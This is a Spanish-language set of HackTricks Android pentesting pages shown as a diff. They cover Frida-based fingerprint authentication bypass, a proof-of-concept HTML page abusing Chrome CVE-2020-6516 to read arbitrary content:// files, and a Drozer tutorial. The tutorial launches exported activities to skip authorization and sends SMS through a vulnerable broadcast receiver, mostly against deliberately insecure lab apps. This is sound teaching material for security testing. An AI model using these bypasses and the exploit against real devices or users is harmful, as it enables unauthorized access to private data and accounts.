# Bypass de Autenticación Biométrica (Android)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
Estos métodos fueron copiados de [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
|
||||
|
||||
## **Método 1 - Cuando no se utiliza el objeto criptográfico**
|
||||
|
||||
La implementación de autenticación se basa en que se llame al callback _**onAuthenticationSucceded**_. Los investigadores de F-Secure desarrollaron un [**script de Frida**](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) que se puede utilizar para **bypass** el _**CryptoObject**_ NULL en _**onAuthenticationSucceeded(…)**_. El script automáticamente bypassará la huella dactilar cuando se llame al método mencionado anteriormente. Aquí hay un ejemplo corto que muestra el bypass para la huella dactilar de Android. La aplicación completa se puede descargar desde mi [GitHub](https://github.com/St3v3nsS/InsecureBanking).
|
||||
```javascript
|
||||
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
|
||||
@Override
|
||||
public void onAuthenticationSucceeded(@NonNull BiometricPrompt.AuthenticationResult result) {
|
||||
Toast.makeText(MainActivity.this,"Success",Toast.LENGTH_LONG).show();
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
```
|
||||
frida -U -f com.st3v3nss.insecurebankingfingerprint --no-pause -l fingerprint-bypass.js
|
||||
```
|
||||
### **Método 2 - Manejo de excepciones**
|
||||
|
||||
Este [**script de Frida**](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) desarrollado por F-Secure se puede utilizar para evitar el uso inseguro del objeto criptográfico. Todo lo que el script necesita hacer es llamar manualmente a _**onAuthenticationSucceded**_ con un objeto _**CryptoObject**_ **no autorizado** (no desbloqueado por huella digital) almacenado en el Keystore. El truco está en que si la aplicación intenta usar otro objeto de cifrado, entonces se lanzará una **excepción**. Este script intentará llamar a _**onAuthenticationSucceded**_ y capturar la excepción _**javax.crypto.IllegalBlockSizeException**_ en la clase _Cipher_. A partir de ahora, **todos los objetos que la aplicación use se cifrarán usando esta nueva clave**.
|
||||
```
|
||||
frida -U -f com.st3v3nss.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js
|
||||
```
|
||||
Ahora, ve a la pantalla de huella digital y espera a que se llame a _authenticate_(). Una vez que lo veas en la pantalla, escribe _**bypass()**_ en la consola de Frida:
|
||||
```
|
||||
Spawning `com.st3v3nss.insecurebankingfingerprint`...
|
||||
[Android Emulator 5554::com.st3v3nss.insecurebankingfingerprint ]-> Hooking BiometricPrompt.authenticate()...
|
||||
Hooking BiometricPrompt.authenticate2()...
|
||||
Hooking FingerprintManager.authenticate()...
|
||||
[Android Emulator 5554::com.st3v3nss.insecurebankingfingerprint ]-> bypass()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
103
mobile-pentesting/android-app-pentesting/content-protocol.md
Normal file
103
mobile-pentesting/android-app-pentesting/content-protocol.md
Normal file
|
@ -0,0 +1,103 @@
|
|||
Para experimentar con los proveedores de contenido, se puede utilizar el comando `content` en dispositivos Android. No es necesario tener acceso root. Por ejemplo, para ver la lista de archivos gestionados por Media Store, se puede ejecutar el siguiente comando:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file
|
||||
```
|
||||
Para hacer que la salida sea más amigable para el usuario, se puede limitar las columnas mostradas al identificador y la ruta de cada archivo indexado.
|
||||
```bash
|
||||
$ content query --uri content://media/external/file --projection _id,_data
|
||||
```
|
||||
Los proveedores de medios existen en su propio espacio de nombres privado. Como se ilustra en el ejemplo anterior, para acceder a un proveedor de contenido se debe especificar el URI correspondiente `content://`. Generalmente, la información sobre las rutas a través de las cuales se puede acceder a un proveedor se puede recuperar mirando los manifiestos de las aplicaciones (en caso de que el proveedor de contenido sea exportado por una aplicación) o el código fuente del framework de Android.
|
||||
|
||||
Curiosamente, en dispositivos Android, Chrome admite el acceso a proveedores de contenido a través del esquema `content://`. Esta característica permite al navegador acceder a recursos (por ejemplo, fotos, documentos, etc.) exportados por aplicaciones de terceros. Para verificar esto, se puede insertar una entrada personalizada en la Media Store y luego acceder a ella usando el navegador:
|
||||
```bash
|
||||
$ cd /sdcard
|
||||
$ echo "Hello, world!" > test.txt
|
||||
$ content insert --uri content://media/external/file \
|
||||
--bind _data:s:/storage/emulated/0/test.txt \
|
||||
--bind mime_type:s:text/plain
|
||||
```
|
||||
Para descubrir el identificador del archivo recién insertado:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file \
|
||||
--projection _id,_data | grep test.txt
|
||||
Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
||||
```
|
||||
Y para ver el archivo en Chrome, se puede utilizar una URL como la que se muestra en la siguiente imagen. Observe el identificador de archivo 747 (descubierto anteriormente) que se utiliza como sufijo en la URL.
|
||||
|
||||
![Chrome "Hello, world!"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png)
|
||||
|
||||
Por ejemplo, se podrían listar todos los archivos relacionados con WhatsApp con:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
|
||||
...
|
||||
|
||||
Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
|
||||
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
|
||||
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
|
||||
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
|
||||
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
|
||||
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
|
||||
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
|
||||
...
|
||||
```
|
||||
## El bypass de la Política de Origen Same-Origin-Policy CVE-2020-6516 de Chrome <a href="#cve-2020-6516" id="cve-2020-6516"></a>
|
||||
|
||||
La _Política de Origen Same-Origin_ (SOP) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\_policy)] en los navegadores dicta que el contenido Javascript de la URL A solo podrá acceder al contenido en la URL B si los siguientes atributos de la URL permanecen iguales para A y B:
|
||||
|
||||
* El protocolo, por ejemplo, `https` vs. `http`
|
||||
* El dominio, por ejemplo, `www.example1.com` vs. `www.example2.com`
|
||||
* El puerto, por ejemplo, `www.example1.com:8080` vs. `www.example1.com:8443`
|
||||
|
||||
Por supuesto, hay excepciones a las reglas anteriores, pero en general, un recurso de `https://www.example1.com` (por ejemplo, un fragmento de código Javascript) no puede acceder al DOM de un recurso en `https://www.example2.com`, ya que esto introduciría graves fugas de información. **A menos que una política de Compartición de Recursos de Origen Cruzado (CORS) lo permita explícitamente, no debería ser posible que un recurso web evite las reglas de SOP.**
|
||||
|
||||
Es esencial tener en cuenta que Chrome considera `content://` como un _esquema local_, al igual que `file://`. En este caso, las reglas de SOP son aún más estrictas, ya que cada URL de esquema local se considera un origen separado. Por ejemplo, el código Javascript en **file:///tmp/test.html** no debería poder acceder al contenido de **file:///tmp/test2.html**, o cualquier otro archivo en el sistema de archivos. **En consecuencia, según las reglas de SOP, un recurso cargado a través de `content://` no debería poder acceder a ningún otro recurso `content://`.** Bueno, la vulnerabilidad CVE-2020-6516 de Chrome creó una "excepción" a esta regla.
|
||||
|
||||
CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)] es un bypass de SOP en recursos cargados a través de una URL `content://`. **Por ejemplo, el código Javascript, que se ejecuta desde el contexto de un documento HTML cargado desde `content://com.example.provider/test.html`, puede cargar y acceder a cualquier otro recurso cargado a través de una URL `content://`.** Esta es una vulnerabilidad grave, especialmente en dispositivos que ejecutan Android 9 o versiones anteriores de Android. En estos dispositivos, el almacenamiento con ámbito \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)] no está implementado y, en consecuencia, los datos específicos de la aplicación en **/sdcard**, y más interesante aún, en **/sdcard/Android**, se pueden acceder a través del proveedor de contenido de Media Store del sistema.
|
||||
|
||||
Un ejemplo de prueba de concepto es bastante sencillo. Se carga un documento HTML que utiliza `XMLHttpRequest` para acceder a URL `content://` arbitrarias en **/sdcard**. Luego se agrega en Media Store y se renderiza en Chrome, de manera similar al ejemplo mostrado anteriormente. Para fines de demostración, se puede intentar cargar `content://media/external/file/747`, que es, de hecho, la URL de Media Store del ejemplo "Hola, mundo!". Sorprendentemente, el código Javascript, que se ejecuta dentro del origen del documento HTML, recuperará y mostrará el contenido de **test.txt**.
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
<title>PoC</title>
|
||||
<script type="text/javascript">
|
||||
function poc()
|
||||
{
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
||||
xhr.onreadystatechange = function()
|
||||
{
|
||||
if(this.readyState == 4)
|
||||
{
|
||||
if(this.status == 200 || this.status == 0)
|
||||
{
|
||||
alert(xhr.response);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
xhr.open("GET", "content://media/external/file/747");
|
||||
xhr.send();
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body onload="poc()"></body>
|
||||
</html>
|
||||
```
|
||||
**Información tomada de este artículo:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,293 @@
|
|||
# Tutorial de Drozer
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Consejo de recompensa por errores**: ¡**regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**.
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## APKs para probar
|
||||
|
||||
* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (de mrwlabs)
|
||||
* [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
|
||||
|
||||
## Instalación
|
||||
|
||||
Instala el cliente Drozer en tu host. Descárgalo desde las [últimas versiones](https://github.com/mwrlabs/drozer/releases).
|
||||
```bash
|
||||
pip install drozer-2.4.4-py2-none-any.whl
|
||||
pip install twisted
|
||||
pip install service_identity
|
||||
```
|
||||
Descarga e instala el archivo APK de drozer desde las [últimas versiones](https://github.com/mwrlabs/drozer/releases). En este momento es [esta](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
|
||||
```
|
||||
adb install drozer.apk
|
||||
```
|
||||
### Iniciando el servidor
|
||||
|
||||
El agente se está ejecutando en el puerto 31415, necesitamos hacer [port forwarding](https://en.wikipedia.org/wiki/Port\_forwarding) para establecer la comunicación entre el cliente Drozer y el agente. Aquí está el comando para hacerlo:
|
||||
```
|
||||
adb forward tcp:31415 tcp:31415
|
||||
```
|
||||
Finalmente, **lanza** la **aplicación** y presiona el botón "**ON**"
|
||||
|
||||
![](<../../../.gitbook/assets/image (63).png>)
|
||||
|
||||
Y conéctate a ella:
|
||||
```
|
||||
drozer console connect
|
||||
```
|
||||
## Comandos Interesantes
|
||||
|
||||
| **Comandos** | **Descripción** |
|
||||
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **Help MODULE** | Muestra la ayuda del módulo seleccionado. |
|
||||
| **list** | Muestra una lista de todos los módulos de drozer que se pueden ejecutar en la sesión actual. Esto oculta los módulos que no tienes permisos apropiados para ejecutar. |
|
||||
| **shell** | Inicia una shell interactiva de Linux en el dispositivo, en el contexto del Agente. |
|
||||
| **clean** | Elimina los archivos temporales almacenados por drozer en el dispositivo Android. |
|
||||
| **load** | Carga un archivo que contiene comandos de drozer y los ejecuta en secuencia. |
|
||||
| **module** | Encuentra e instala módulos adicionales de drozer desde Internet. |
|
||||
| **unset** | Elimina una variable nombrada que drozer pasa a cualquier shell de Linux que inicia. |
|
||||
| **set** | Almacena un valor en una variable que se pasará como variable de entorno a cualquier shell de Linux iniciada por drozer. |
|
||||
| **shell** | Inicia una shell interactiva de Linux en el dispositivo, en el contexto del Agente. |
|
||||
| **run MODULE** | Ejecuta un módulo de drozer. |
|
||||
| **exploit** | Drozer puede crear exploits para ejecutar en el dispositivo. `drozer exploit list` |
|
||||
| **payload** | Los exploits necesitan un payload. `drozer payload list` |
|
||||
|
||||
### Paquete
|
||||
|
||||
Encuentra el **nombre** del paquete filtrando por parte del nombre:
|
||||
```
|
||||
dz> run app.package.list -f sieve
|
||||
com.mwr.example.sieve
|
||||
```
|
||||
**Información básica** del paquete:
|
||||
```
|
||||
dz> run app.package.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
Process Name: com.mwr.example.sieve
|
||||
Version: 1.0
|
||||
Data Directory: /data/data/com.mwr.example.sieve
|
||||
APK Path: /data/app/com.mwr.example.sieve-2.apk
|
||||
UID: 10056
|
||||
GID: [1028, 1015, 3003]
|
||||
Shared Libraries: null
|
||||
Shared User ID: null
|
||||
Uses Permissions:
|
||||
- android.permission.READ_EXTERNAL_STORAGE
|
||||
- android.permission.WRITE_EXTERNAL_STORAGE
|
||||
- android.permission.INTERNET
|
||||
Defines Permissions:
|
||||
- com.mwr.example.sieve.READ_KEYS
|
||||
- com.mwr.example.sieve.WRITE_KEYS
|
||||
```
|
||||
Leer **Manifest**:
|
||||
```
|
||||
run app.package.manifest jakhar.aseem.diva
|
||||
```
|
||||
**Superficie de ataque** del paquete:
|
||||
```
|
||||
dz> run app.package.attacksurface com.mwr.example.sieve
|
||||
Attack Surface:
|
||||
3 activities exported
|
||||
0 broadcast receivers exported
|
||||
2 content providers exported
|
||||
2 services exported
|
||||
is debuggable
|
||||
```
|
||||
* **Actividades**: Tal vez puedas iniciar una actividad y evitar algún tipo de autorización que debería impedirte lanzarla.
|
||||
* **Proveedores de contenido**: Tal vez puedas acceder a datos privados o explotar alguna vulnerabilidad (Inyección SQL o Traversal de Ruta).
|
||||
* **Servicios**:
|
||||
* **is debuggable**: [Aprende más](./#is-debuggeable)
|
||||
|
||||
### Actividades
|
||||
|
||||
El valor "android:exported" de un componente de actividad exportado se establece en **"true"** en el archivo AndroidManifest.xml:
|
||||
```markup
|
||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||
</activity>
|
||||
```
|
||||
**Listar actividades exportadas**:
|
||||
```
|
||||
dz> run app.activity.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
com.mwr.example.sieve.FileSelectActivity
|
||||
com.mwr.example.sieve.MainLoginActivity
|
||||
com.mwr.example.sieve.PWList
|
||||
```
|
||||
**Iniciar actividad**:
|
||||
|
||||
Tal vez puedas iniciar una actividad y evitar algún tipo de autorización que debería impedirte lanzarla.
|
||||
```
|
||||
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
|
||||
```
|
||||
También puedes iniciar una actividad exportada desde **adb**:
|
||||
|
||||
* El nombre del paquete es com.example.demo
|
||||
* El nombre de la actividad exportada es com.example.test.MainActivity
|
||||
```
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
### Proveedores de contenido
|
||||
|
||||
Este post era demasiado grande para estar aquí, así que **puedes** [**acceder a él en su propia página aquí**](exploiting-content-providers.md).
|
||||
|
||||
### Servicios
|
||||
|
||||
Un servicio exportado se declara dentro del Manifest.xml:
|
||||
```markup
|
||||
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
|
||||
```
|
||||
Dentro del código, **busca** la función `handleMessage` que **recibirá** el **mensaje**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (194).png>)
|
||||
|
||||
#### Listar servicios
|
||||
```
|
||||
dz> run app.service.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
com.mwr.example.sieve.AuthService
|
||||
Permission: null
|
||||
com.mwr.example.sieve.CryptoService
|
||||
Permission: null
|
||||
```
|
||||
#### **Interactuar** con un servicio
|
||||
```
|
||||
app.service.send Send a Message to a service, and display the reply
|
||||
app.service.start Start Service
|
||||
app.service.stop Stop Service
|
||||
```
|
||||
#### Ejemplo
|
||||
|
||||
Echa un vistazo a la ayuda de **drozer** para `app.service.send`:
|
||||
|
||||
![](<../../../.gitbook/assets/image (196) (1).png>)
|
||||
|
||||
Ten en cuenta que primero enviarás los datos dentro de "_msg.what_", luego "_msg.arg1_" y "_msg.arg2_", debes verificar dentro del código **qué información se está utilizando** y dónde.\
|
||||
Usando la opción `--extra` puedes enviar algo interpretado por "_msg.replyTo"_, y usando `--bundle-as-obj` creas un objeto con los detalles proporcionados.
|
||||
|
||||
En el siguiente ejemplo:
|
||||
|
||||
* `what == 2354`
|
||||
* `arg1 == 9234`
|
||||
* `arg2 == 1`
|
||||
* `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
|
||||
```
|
||||
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (195).png>)
|
||||
|
||||
### Receptores de difusión
|
||||
|
||||
Las aplicaciones de Android pueden enviar o recibir mensajes de difusión del sistema Android y de otras aplicaciones de Android, similar al patrón de diseño [publicar-suscribir](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe\_pattern). Estas difusiones se envían cuando ocurre un evento de interés. Por ejemplo, el sistema Android envía difusiones cuando ocurren varios eventos del sistema, como cuando se inicia el sistema o el dispositivo comienza a cargarse. Las aplicaciones también pueden enviar difusiones personalizadas, por ejemplo, para notificar a otras aplicaciones algo que podrían estar interesadas (por ejemplo, se ha descargado algún dato nuevo).
|
||||
|
||||
Las aplicaciones pueden registrarse para recibir difusiones específicas. Cuando se envía una difusión, el sistema enruta automáticamente las difusiones a las aplicaciones que se han suscrito para recibir ese tipo particular de difusión.
|
||||
|
||||
Esto podría aparecer dentro del archivo Manifest.xml:
|
||||
```markup
|
||||
<receiver android:name=".MyBroadcastReceiver" android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.BOOT_COMPLETED"/>
|
||||
<action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
```
|
||||
Desde: [https://developer.android.com/guide/components/broadcasts](https://developer.android.com/guide/components/broadcasts)
|
||||
|
||||
Después de descubrir estos receptores de difusión, **debe verificar el código** de los mismos. Preste especial atención a la función \*\*`onReceive`\*\* ya que será la encargada de manejar los mensajes recibidos.
|
||||
|
||||
#### **Detectar todos** los receptores de difusión
|
||||
```bash
|
||||
run app.broadcast.info #Detects all
|
||||
```
|
||||
#### Verificar los receptores de difusión de una aplicación
|
||||
```bash
|
||||
#Check one negative
|
||||
run app.broadcast.info -a jakhar.aseem.diva
|
||||
Package: jakhar.aseem.diva
|
||||
No matching receivers.
|
||||
|
||||
# Check one positive
|
||||
run app.broadcast.info -a com.google.android.youtube
|
||||
Package: com.google.android.youtube
|
||||
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
|
||||
Permission: null
|
||||
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
|
||||
Permission: com.google.android.c2dm.permission.SEND
|
||||
com.google.android.apps.youtube.app.PackageReplacedReceiver
|
||||
Permission: null
|
||||
com.google.android.libraries.youtube.account.AccountsChangedReceiver
|
||||
Permission: null
|
||||
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
|
||||
Permission: null
|
||||
```
|
||||
#### Interacciones de Difusión
|
||||
```
|
||||
app.broadcast.info Get information about broadcast receivers
|
||||
app.broadcast.send Send broadcast using an intent
|
||||
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
|
||||
```
|
||||
#### Enviar un mensaje
|
||||
|
||||
En este ejemplo, abusando del Content Provider de la aplicación [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk), puedes **enviar un SMS arbitrario** a cualquier destino no premium **sin pedirle permiso** al usuario.
|
||||
|
||||
![](<../../../.gitbook/assets/image (199).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (197) (1).png>)
|
||||
|
||||
Si lees el código, los parámetros "_phoneNumber_" y "_message_" deben ser enviados al Content Provider.
|
||||
```
|
||||
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
|
||||
```
|
||||
### Es depurable
|
||||
|
||||
Un APK de producción nunca debería ser depurable. Esto significa que no se puede **adjuntar un depurador de Java** a la aplicación en ejecución, inspeccionarla en tiempo de ejecución, establecer puntos de interrupción, avanzar paso a paso, recopilar valores de variables e incluso cambiarlos. [InfoSec institute tiene un excelente artículo](../exploiting-a-debuggeable-applciation.md) sobre cómo profundizar cuando su aplicación es depurable e inyectar código en tiempo de ejecución.
|
||||
|
||||
Cuando una aplicación es depurable, aparecerá en el Manifiesto:
|
||||
```
|
||||
<application theme="@2131296387" debuggable="true"
|
||||
```
|
||||
Puedes encontrar todas las aplicaciones depurables con **Drozer**:
|
||||
```
|
||||
run app.package.debuggable
|
||||
```
|
||||
## Tutoriales
|
||||
|
||||
* [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref)
|
||||
* [http://mobiletools.mwrinfosecurity.com/Using-Drozer-for-application-security-assessments/](http://mobiletools.mwrinfosecurity.com/Using-Drozer-for-application-security-assessments/)
|
||||
|
||||
## Más información
|
||||
|
||||
* [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
|
||||
|
||||
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Consejo de recompensa por errores**: ¡**regístrese** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! ¡Únase a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comience a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
